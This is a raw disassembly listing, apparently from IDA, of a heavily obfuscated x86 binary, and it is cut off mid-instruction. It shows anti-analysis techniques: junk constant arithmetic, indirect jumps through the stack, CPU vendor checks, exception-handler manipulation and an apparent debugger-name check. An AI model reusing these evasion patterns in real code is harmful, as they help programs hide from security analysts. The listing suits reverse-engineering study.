--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4255E9 loc_42869B: ; CODE XREF: sub_4255E9+5EE9j rol eax, 8 jmp loc_426B7C ; END OF FUNCTION CHUNK FOR sub_4255E9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_4286A3: ; CODE XREF: sub_423FCD:loc_427011j call edx xor eax, eax retn ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= sub_4286A8 proc near ; CODE XREF: sub_42C1B2-7A68p ; sub_42798F:loc_427A3Dj ; FUNCTION CHUNK AT 00425485 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042DCF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E4C7 SIZE 00000005 BYTES call sub_423FCD test al, al jz nullsub_41 jmp loc_42DCF6 sub_4286A8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DD2A loc_4286BA: ; CODE XREF: sub_42DD2A:loc_425D0Ej ; sub_42DD2A-596j mov ecx, [ebp-20h] call sub_42340D loc_4286C2: ; CODE XREF: _0182ofla:00427044j jb loc_42AE6F ; END OF FUNCTION CHUNK FOR sub_42DD2A ; =============== S U B R O U T I N E ======================================= sub_4286C8 proc near ; CODE XREF: sub_4240FC+2025p xchg esi, [esp+0] pop esi xor edx, edx push edx loc_4286CF: ; CODE XREF: _0182ofla:00429E04j call sub_42DA2D loc_4286D4: ; CODE XREF: sub_4233F8+10j jmp sub_428D17 sub_4286C8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4286D9: ; CODE XREF: sub_42798F:loc_429AF9j jz loc_427AA2 jmp loc_4274E8 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_4286E4 proc near ; DATA XREF: _0182ofla:0042D9BEo ; FUNCTION CHUNK AT 0042AB49 SIZE 0000000A BYTES mov eax, [ebp-0Ch] push eax call sub_427239 loc_4286ED: ; CODE XREF: _0182ofla:0042D9B8j push 0CC557455h pop eax rol eax, 6 and eax, 0DB46E29Bh xor eax, 11440133h jmp loc_42AB49 sub_4286E4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_428707: ; CODE XREF: sub_427ED1:loc_424E99j jnz loc_42D5E4 jmp loc_427D10 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; --------------------------------------------------------------------------- loc_428712: ; CODE XREF: _0182ofla:004289CCj adc esi, 6B61A9BDh ; =============== S U B R O U T I N E ======================================= sub_428718 proc near ; CODE XREF: _0182ofla:00426E58p ; FUNCTION CHUNK AT 004274DD SIZE 00000001 BYTES ; FUNCTION CHUNK AT 0042EA8E SIZE 00000005 BYTES mov [esp+0], ecx pop ecx mov eax, [eax] jmp loc_42EA8E sub_428718 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428723: ; CODE XREF: _0182ofla:00426AC9j jge loc_426AF0 ; =============== S U B R O U T I N E ======================================= sub_428729 proc near ; CODE XREF: sub_42326C:loc_42E063p ; FUNCTION CHUNK AT 0042360A SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004244CD SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042783B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042808A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004294DF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042AE8A SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C57F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042C5C0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C950 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042CD27 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042CEEB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E964 SIZE 0000000F BYTES xchg esi, [esp+0] pop esi test eax, eax jz loc_42D884 mov eax, 400h call sub_42D70E mov [ebp-8], eax jmp loc_42CD27 sub_428729 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428747 proc near ; DATA XREF: sub_4253F4:loc_42D629o pop esi pop ecx pop ebx pop ebp retn sub_428747 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_42874C: ; CODE XREF: sub_4253F4+9j add dword ptr [esi], 0F80586h mov eax, 0 cpuid jmp loc_426888 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_42875E: ; CODE XREF: sub_426571+439Fj test al, al jnz loc_4262D2 mov eax, [ebp-4] cmp byte ptr [eax], 0E8h jnz loc_423C0A call sub_426240 loc_428777: ; CODE XREF: sub_42935B+6j jmp nullsub_67 ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4247FE loc_42877C: ; CODE XREF: sub_4247FE+1898j jmp loc_42A73F ; END OF FUNCTION CHUNK FOR sub_4247FE ; =============== S U B R O U T I N E ======================================= sub_428781 proc near ; DATA XREF: sub_42448C+9DB2o mov eax, [eax+18h] dec eax test eax, eax jl loc_425EE4 inc eax call sub_427D47 sub_428781 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_424BCB loc_428793: ; CODE XREF: sub_424BCB+Dj jmp loc_423F19 ; END OF FUNCTION CHUNK FOR sub_424BCB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_57. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D5EF loc_428799: ; CODE XREF: sub_42D5EF-23A1j jmp nullsub_9 ; END OF FUNCTION CHUNK FOR sub_42D5EF ; --------------------------------------------------------------------------- loc_42879E: ; CODE XREF: _0182ofla:00427086j jmp loc_42899D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427942 loc_4287A3: ; CODE XREF: sub_42EAB7-40FBj ; sub_427942:loc_42AD8Dj ... jno loc_4294BC test [ebp+var_8], 2 jz loc_425B13 push ebp mov eax, [ebp+var_20] call sub_4294AA loc_4287BC: ; CODE XREF: _0182ofla:004285D9j jmp loc_4252D7 ; END OF FUNCTION CHUNK FOR sub_427942 ; --------------------------------------------------------------------------- test eax, 0D8B1CC0Ah jmp loc_42D637 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_4287CC: ; CODE XREF: sub_42EAB7:loc_42AA1Fj ; _0182ofla:0042C442j push ecx jmp loc_42C3BB ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426571 loc_4287D2: ; CODE XREF: sub_426571-2956j cmp dword ptr [ebp-8], 0 jle loc_4262D2 mov eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-8] jmp loc_42708B ; END OF FUNCTION CHUNK FOR sub_426571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_4287EB: ; CODE XREF: sub_424707+2806j ; _0182ofla:004295D0j add eax, 8C4EB504h cmp ecx, eax pop eax cmp ecx, edx pop ecx jmp loc_426956 ; END OF FUNCTION CHUNK FOR sub_424707 ; --------------------------------------------------------------------------- locret_4287FC: ; CODE XREF: _0182ofla:00424576j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4287FD: ; CODE XREF: sub_42798F+2C49j jmp loc_4270F9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_428802: ; DATA XREF: sub_42931E:loc_4263E6o add eax, ebp add eax, 0FAFA9787h call sub_42E35C ; START OF FUNCTION CHUNK FOR sub_424CD8 loc_42880F: ; CODE XREF: sub_424CD8+6j jmp nullsub_42 ; END OF FUNCTION CHUNK FOR sub_424CD8 ; --------------------------------------------------------------------------- loc_428814: ; CODE XREF: _0182ofla:004248D6j jmp loc_42E385 ; --------------------------------------------------------------------------- push 0 call sub_4292E1 loc_428820: ; CODE XREF: _0182ofla:0042DEE2j jmp loc_427509 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B6E loc_428825: ; CODE XREF: sub_425B6E+4CCDj jmp loc_42757E ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42940E loc_42882A: ; CODE XREF: sub_42940E-4339j jmp loc_42CE32 ; END OF FUNCTION CHUNK FOR sub_42940E ; --------------------------------------------------------------------------- and edi, 0A47502D0h pushf jmp sub_42931E ; --------------------------------------------------------------------------- loc_42883B: ; CODE XREF: _0182ofla:004242F2j pushf ; =============== S U B R O U T I N E ======================================= sub_42883C proc near ; CODE XREF: sub_42912B:loc_42767Dp var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042A6C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042D59E SIZE 00000015 BYTES mov [esp+0], eax pop eax shl eax, 7 call sub_42CEA4 loc_428848: ; DATA XREF: _0182ofla:0042B534o push edi push 62FDE682h xchg ebp, [esp+4+var_4] mov edi, ebp pop ebp add edi, 0CDEB955Dh or edi, 0BFF41831h add edi, 0B36493E6h jmp loc_42A6C7 sub_42883C endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_42886B: ; CODE XREF: sub_42380D:loc_42CEC1j jnz loc_42D01E jmp loc_42C274 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- cmp ebx, ecx jmp loc_427038 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42887D: ; CODE XREF: sub_42D056:loc_42E636j pushf jmp loc_4256DB ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428883: ; CODE XREF: sub_42798F:loc_42B8CFj jz loc_4288DC jmp loc_4257F8 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_42888E: ; CODE XREF: sub_428D63+10j jnz loc_428B5E jmp loc_426342 ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_428899 proc near ; DATA XREF: _0182ofla:0042DDF4o mov eax, [ebp-20h] movzx eax, byte ptr [eax] push offset sub_42D591 jmp nullsub_242 sub_428899 endp ; --------------------------------------------------------------------------- loc_4288A9: ; DATA XREF: sub_42CC59:loc_427C5Bo jmp loc_427916 ; --------------------------------------------------------------------------- mov eax, [ebp-4] push eax xchg ecx, esi push esi jmp loc_42E697 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_91. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4288BB proc near ; DATA XREF: sub_42892E:loc_42A312o push ebp push offset sub_42EAFE jmp nullsub_43 sub_4288BB endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423127 loc_4288C6: ; CODE XREF: sub_423127:loc_425BD4j push 1E4BD895h pop edi add edi, 0E1F705E8h jmp loc_4278C7 ; END OF FUNCTION CHUNK FOR sub_423127 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4288D7: ; CODE XREF: sub_42798F-218Cj mov eax, 45815DFCh loc_4288DC: ; CODE XREF: sub_42798F:loc_428883j call sub_4247FE test eax, eax jz loc_426069 call sub_4247FE mov edx, 3BD2EC5Ch call sub_42D71D jmp loc_42DAC7 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- loc_4288FD: ; CODE XREF: _0182ofla:00424A90j not ebp popf xor ebp, edx jg loc_423F4A ; START OF FUNCTION CHUNK FOR sub_42D056 loc_428908: ; CODE XREF: _0182ofla:loc_423333j ; _0182ofla:0042638Cj ... mov eax, 6F7h call sub_42C1D1 jnb loc_42AF93 push offset sub_42938A jmp nullsub_159 ; END OF FUNCTION CHUNK FOR sub_42D056 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_153. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_428923: ; CODE XREF: _0182ofla:004233D9j mov eax, [ebp-4] mov [ebp-0Ch], eax jmp sub_42469C ; =============== S U B R O U T I N E ======================================= sub_42892E proc near ; CODE XREF: sub_42798F-1E67p ; sub_426A7F:loc_426753j ... ; FUNCTION CHUNK AT 0042A312 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042AD93 SIZE 00000005 BYTES jb sub_42ABB7 jmp loc_42A312 sub_42892E endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_428939: ; CODE XREF: sub_425B00+6DE4j jz loc_426DAB push ebp mov eax, [ebp-20h] call sub_4261C9 jmp loc_425C50 ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= sub_42894D proc near ; CODE XREF: _0182ofla:004293C3j ; sub_424950:loc_42A6C2p xchg eax, [esp+0] pop eax call sub_428176 test eax, eax jz loc_42D884 jmp loc_42418F sub_42894D endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_428963: ; DATA XREF: sub_426DC3+3o mov [ebp-4], eax mov eax, [ebp-4] mov [ebp-8], eax mov eax, [ebp+8] push eax jmp loc_426673 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423A2A loc_428975: ; CODE XREF: sub_423A2A:loc_425A18j jnz loc_428363 call sub_424B70 loc_428980: ; CODE XREF: sub_42CA66+11D5j jmp loc_426F8C ; END OF FUNCTION CHUNK FOR sub_423A2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4231F3 loc_428985: ; CODE XREF: sub_4231F3+A336j jmp loc_426588 ; END OF FUNCTION CHUNK FOR sub_4231F3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427445 loc_42898A: ; CODE XREF: sub_427445+43AFj jmp nullsub_146 ; END OF FUNCTION CHUNK FOR sub_427445 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_99. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42938A loc_428990: ; CODE XREF: sub_42938A+Ej jmp loc_42618E ; END OF FUNCTION CHUNK FOR sub_42938A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DF41 loc_428995: ; CODE XREF: sub_42DF41+8j rol eax, 1Bh call sub_425471 loc_42899D: ; CODE XREF: _0182ofla:loc_42879Ej push 0F402B234h pop eax xor eax, 81420DF4h add eax, 2BB08B57h xor eax, 0A0F14A47h call sub_4265C0 jmp loc_42E2A4 ; END OF FUNCTION CHUNK FOR sub_42DF41 ; --------------------------------------------------------------------------- jz loc_42A2DB jmp sub_42380D ; --------------------------------------------------------------------------- and edx, ebp jmp loc_428712 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424289 loc_4289D1: ; CODE XREF: sub_424289:loc_428A49j pop ebp retn ; END OF FUNCTION CHUNK FOR sub_424289 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4240FC loc_4289D3: ; CODE XREF: _0182ofla:00425FAAj ; sub_4240FC+2016j inc dword ptr [ebp-18h] dec dword ptr [ebp-1Ch] jnz loc_42A384 jmp loc_426260 ; END OF FUNCTION CHUNK FOR sub_4240FC ; =============== S U B R O U T I N E ======================================= sub_4289E4 proc near ; CODE XREF: sub_4240FC-6C4p ; sub_424080+9p ... ; FUNCTION CHUNK AT 00423244 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423A7E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425A01 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004282C2 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00428394 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004290BF SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00429FB4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A877 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042C286 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0042C309 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0042DA92 SIZE 00000005 BYTES push ebp jmp loc_423244 sub_4289E4 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_92. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FCD loc_4289EB: ; CODE XREF: sub_423FCD-771j xchg eax, ebp loc_4289ED: ; CODE XREF: sub_423FE2:loc_429CE4j pop large dword ptr fs:0 add esp, 4 mov eax, 52h push edx push 46444602h pop edx jmp loc_42C53C ; END OF FUNCTION CHUNK FOR sub_423FCD ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428A08 proc near ; CODE XREF: sub_42326Cj ; FUNCTION CHUNK AT 004244FE SIZE 00000005 BYTES push ebp mov ebp, esp xchg ecx, ebp push offset sub_425048 jmp loc_4244FE sub_428A08 endp ; =============== S U B R O U T I N E ======================================= sub_428A17 proc near ; DATA XREF: sub_425629:loc_425644o ; FUNCTION CHUNK AT 004298BC SIZE 00000005 BYTES xchg edx, [esp+0] jmp loc_4298BC sub_428A17 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D15D loc_428A1F: ; CODE XREF: sub_42D15D-92AFj mov dword ptr [ecx], 10001h lea eax, loc_42743A mov [ecx+0B8h], eax pop ecx xor eax, eax jmp nullsub_131 ; END OF FUNCTION CHUNK FOR sub_42D15D ; =============== S U B R O U T I N E ======================================= sub_428A39 proc near ; CODE XREF: _0182ofla:0042479Cj ; sub_427906+6256p ; FUNCTION CHUNK AT 0042376B SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00423896 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00423921 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00423CC4 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00423D59 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00424612 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00425269 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00426D82 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00427D55 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00428510 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042950D SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042A699 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042B6A7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042C2A4 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CD9A SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042DEB5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E11B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ECD1 SIZE 00000010 BYTES xchg ecx, [esp+0] pop ecx add eax, esi call sub_42D19B loc_428A44: ; CODE XREF: sub_429957:loc_42C48Ej jmp loc_423CC4 sub_428A39 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424289 loc_428A49: ; CODE XREF: sub_424289+1FDCj jmp loc_4289D1 ; END OF FUNCTION CHUNK FOR sub_424289 ; --------------------------------------------------------------------------- loc_428A4E: ; CODE XREF: _0182ofla:loc_429AF4j push ecx jmp loc_426817 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_241. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42380D loc_428A55: ; CODE XREF: sub_42380D+981Bj jmp loc_428CA7 ; END OF FUNCTION CHUNK FOR sub_42380D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_428A5A: ; CODE XREF: sub_425B00+6C4j jmp loc_42AFA1 ; END OF FUNCTION CHUNK FOR sub_425B00 ; =============== S U B R O U T I N E ======================================= sub_428A5F proc near ; CODE XREF: _0182ofla:00424279j ; sub_42310C+B958p ; FUNCTION CHUNK AT 0042827B SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx pop ebp mov eax, ds:dword_42D128 or eax, eax jnz loc_42827B call sub_428D09 push offset loc_4248CA jmp nullsub_45 sub_428A5F endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_428A81: ; CODE XREF: sub_42798F+7FAj shl eax, 11h rol ebp, 4 loc_428A87: ; CODE XREF: sub_42798F:loc_426DD0j call sub_4247FE mov edx, 3BD2EC5Ch call sub_42D71D jmp loc_42721A ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427259 loc_428A9B: ; CODE XREF: sub_427259-9E1j jge loc_426C49 push 90ECD5EFh rol esi, 1Fh mov edx, [ecx] loc_428AAB: ; CODE XREF: sub_427259:loc_423FBCj push offset loc_42984F jmp loc_428662 ; END OF FUNCTION CHUNK FOR sub_427259 ; =============== S U B R O U T I N E ======================================= sub_428AB5 proc near ; CODE XREF: sub_428AC9-1598p call sub_42E7E3 sub_428AB5 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_425B6E loc_428ABA: ; CODE XREF: sub_425B6E+8E59j jmp loc_42CC0B ; END OF FUNCTION CHUNK FOR sub_425B6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425B00 loc_428ABF: ; CODE XREF: sub_425B00+1Dj jmp loc_426821 ; END OF FUNCTION CHUNK FOR sub_425B00 ; --------------------------------------------------------------------------- loc_428AC4: ; CODE XREF: _0182ofla:00424A49j jmp loc_424640 ; =============== S U B R O U T I N E ======================================= sub_428AC9 proc near ; DATA XREF: _0182ofla:00424E9Eo var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004264B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427528 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00429CF6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042A45B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CF1F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042E153 SIZE 00000025 BYTES ; FUNCTION CHUNK AT 0042E563 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042EB23 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042ED39 SIZE 00000010 BYTES push ebx push 0B148FB01h pop ebx sub ebx, 0F1F4FA6Bh xor ebx, 0AC2674FDh jmp loc_42E563 sub_428AC9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428AE1 proc near ; DATA XREF: sub_4270B3+4o call sub_42A3E4 mov ecx, offset loc_428AFE xchg ecx, [esp+0] retn sub_428AE1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EA15 loc_428AEF: ; CODE XREF: sub_42EA15+Ej jmp loc_428C68 ; END OF FUNCTION CHUNK FOR sub_42EA15 ; --------------------------------------------------------------------------- loc_428AF4: ; CODE XREF: _0182ofla:0042CBBEj jmp loc_429BBE ; --------------------------------------------------------------------------- loc_428AF9: ; CODE XREF: _0182ofla:00425688j jmp loc_42D799 ; --------------------------------------------------------------------------- loc_428AFE: ; DATA XREF: sub_428AE1+5o mov eax, [ebp-4] push 0AA9FDEF0h pop edx jmp loc_425E70 ; =============== S U B R O U T I N E ======================================= sub_428B0C proc near ; CODE XREF: sub_426B60+Ap ; FUNCTION CHUNK AT 00428DA3 SIZE 00000005 BYTES xchg eax, [esp+0] mov eax, [esp+0] push 0E81364E4h pop eax add eax, 182F760Bh xchg eax, [esp+0] jmp loc_428DA3 sub_428B0C endp ; =============== S U B R O U T I N E ======================================= sub_428B26 proc near ; CODE XREF: _0182ofla:00424032j ; sub_42798F+1AE5p xchg eax, [esp+0] pop eax mov eax, [ebp+8] cmp dword ptr [eax-1Ch], 0F6h push offset loc_42CFFC jmp nullsub_46 sub_428B26 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_48. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C553 loc_428B3F: ; CODE XREF: sub_42C553-7CD2j jmp loc_424F46 ; --------------------------------------------------------------------------- loc_428B44: ; CODE XREF: sub_42C553:loc_42944Aj ; sub_42C553-30FDj add eax, 8125711Ch loc_428B4A: ; CODE XREF: sub_4282B8-3800j add eax, ebp add eax, 72D68B98h cmp dword ptr [eax], 4742444Fh jz loc_42595F ; END OF FUNCTION CHUNK FOR sub_42C553 ; START OF FUNCTION CHUNK FOR sub_428D63 loc_428B5E: ; CODE XREF: sub_428D63-4B50j ; sub_42C553-8337j ... jnb loc_42B359 cmp dword ptr [ebp-4], 1 jnz loc_42A0CF loc_428B6E: ; CODE XREF: _0182ofla:004292DBj jmp loc_42B875 ; END OF FUNCTION CHUNK FOR sub_428D63 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_428B74: ; CODE XREF: sub_427DA9+2594j jmp nullsub_209 ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_428B79: ; CODE XREF: sub_42660C:loc_425F33j ; sub_429FF9+Cj jmp loc_42436E ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D03E loc_428B7E: ; CODE XREF: sub_42D03E-444Bj jmp loc_424D02 ; END OF FUNCTION CHUNK FOR sub_42D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4235C7 loc_428B83: ; CODE XREF: sub_4235C7:loc_42B39Ej and esi, ebp jmp loc_424624 ; END OF FUNCTION CHUNK FOR sub_4235C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_428B8A: ; CODE XREF: sub_42B669-39FDj shr ebp, 17h add ecx, eax not ebx ; END OF FUNCTION CHUNK FOR sub_42B669 ; =============== S U B R O U T I N E ======================================= sub_428B91 proc near ; CODE XREF: sub_42B669:loc_4244C2j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042B148 SIZE 00000005 BYTES push ebx push 42C38E34h pop ebx add ebx, 0BD7EC9F2h xchg ebx, [esp+4+var_4] jmp loc_42B148 sub_428B91 endp ; --------------------------------------------------------------------------- xchg ebx, [edi] jmp loc_42E01A ; --------------------------------------------------------------------------- sub ebp, esi jmp loc_426CC2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_428BB4: ; CODE XREF: sub_428D63:loc_423377j jnz loc_42A0CF jmp loc_429A44 ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_428BBF proc near ; CODE XREF: sub_4295D6+6p ; FUNCTION CHUNK AT 0042415F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042849F SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0042B824 SIZE 00000012 BYTES call sub_4251FB loc_428BC4: ; CODE XREF: sub_425B6E-1202j jmp loc_42B824 sub_428BBF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_428BC9: ; CODE XREF: sub_4253F4+108Fj ; sub_4253F4:loc_42CF2Fj cmp ebx, 68747541h jz loc_42E126 jmp loc_425886 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B15E loc_428BDA: ; CODE XREF: sub_42B15E:loc_4290D4j ; sub_428C7D:loc_42E103j xor edx, 0F69189F9h cmp edx, 0B14E7B57h jmp loc_42437E ; END OF FUNCTION CHUNK FOR sub_42B15E ; =============== S U B R O U T I N E ======================================= sub_428BEB proc near ; DATA XREF: sub_42D33D+92Ao push eax retn sub_428BEB endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D03E loc_428BED: ; CODE XREF: sub_42D03E:loc_423C99j push edx mov [esp+4+var_4], ebp mov ebp, esp jmp loc_428B7E ; END OF FUNCTION CHUNK FOR sub_42D03E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_428BF8: ; CODE XREF: sub_42A760:loc_42CB87j jnz loc_42A8C5 jmp loc_429792 ; END OF FUNCTION CHUNK FOR sub_42A760 ; --------------------------------------------------------------------------- mov edx, 9E849D81h push ecx push 0D029AED5h mov ecx, offset sub_427593 xchg ecx, [esp] retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E218 loc_428C17: ; CODE XREF: sub_42E218-85E5j jmp loc_42CC9F ; END OF FUNCTION CHUNK FOR sub_42E218 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_428C1C: ; CODE XREF: sub_428F20-5398j jno loc_427861 mov edx, 0BE327463h cdq loc_428C28: ; CODE XREF: sub_428F20:loc_423B33j lea edx, [ebp-14h] push 0D297E0A1h jmp loc_425E80 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CEA4 loc_428C35: ; CODE XREF: sub_42CEA4:loc_42AEF2j or eax, edx mov edx, 